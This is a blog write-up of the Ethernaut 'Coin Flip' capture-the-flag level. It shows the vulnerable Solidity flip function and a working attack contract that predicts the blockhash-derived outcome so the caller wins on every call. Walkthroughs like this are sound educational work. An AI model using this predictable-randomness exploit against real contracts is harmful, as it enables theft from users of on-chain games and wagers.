Ethernaut Challenge level 3

Ethernaut Challenge level 3

Coin Flip

Introduction

Here I am, again trying to claim ownership of this smart contract. I already feel like a malicious actor lol. Nevertheless, this particular challenge did not involve being made the owner, rather it was about winning the challenge at least 10 consecutive times. and was very interesting as the hint suggested to "look beyond ethernaut". This further led to Remix IDE.

NOTE: You don't need to read through the entire article if you are looking for some solution to your problem. Head down to the challenges section and see if I encountered the same challenge as you.

Let's Start

At first, it was very perplexing as I had just one question in mind, "How am I supposed to guess the value of coinFlip variable?". It took me some time to read back on the hints provided and to figure out we have to somehow use Remix to be able to cross this challenge.

Soon, I realized that the value of the above-mentioned variable is dependent on the hash of the block number divided by a huge FACTOR variable. This makes it less random and maybe could even be guessed accurately every time. Clearly, in the below code, we can very precisely determine the value of guess to be passed to the function call. I literally have to calculate the same blockValue using the exact same usage and then calculate coinFlip and then call the function flip with the boolean result of coinFlip being equal to 1.

function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }

I, then quickly opened up the editor and wrote a small contract consisting of an interface of the flip the function I need to call and the contract address of the deployed contract.
While deploying, I passed in the correct contract address of the deployed contract and started calling the flip function written in my hack contract.

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

interface CoinFlip{
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipHack {
    CoinFlip coinFlip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _address){
        coinFlip= CoinFlip(_address);
    }

    function flip() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 flipVal = blockValue / FACTOR;
        bool guess = flipVal==1?true:false; 
        coinFlip.flip(guess);
    }
}

The above code is the actual hack contract which determines what should the guess value be while calling the actual contract to basically attain consecutive victories.

After calling the contract 10 times, I went to the console and checked if I had 10 consecutive wins or not, turns out, I am a HACKERR!!!

Finally, I submitted the instance and bam, done, I passed the test hahaah.

Challenges

  1. I couldn't understand how to be soo accurate with guessing the correct boolean value.

    Solution: Saw the hint and used an editor to write a contract that determines the correct value by simply making the same calculations.

Support

If you liked my article, consider supporting me with a coffee ☕️ or some crypto ( ₿, ⟠, etc)

Here is my public address 0x7935468Da117590bA75d8EfD180cC5594aeC1582

Buy Me A Coffee

Let's connect

GitHub

LinkedIn

Twitter

Feedback

Let me know if I have missed something or provided the wrong info. It helps me keep genuine content and learn.

Did you find this article valuable?

Support Atharva Deshpande by becoming a sponsor. Any amount is appreciated!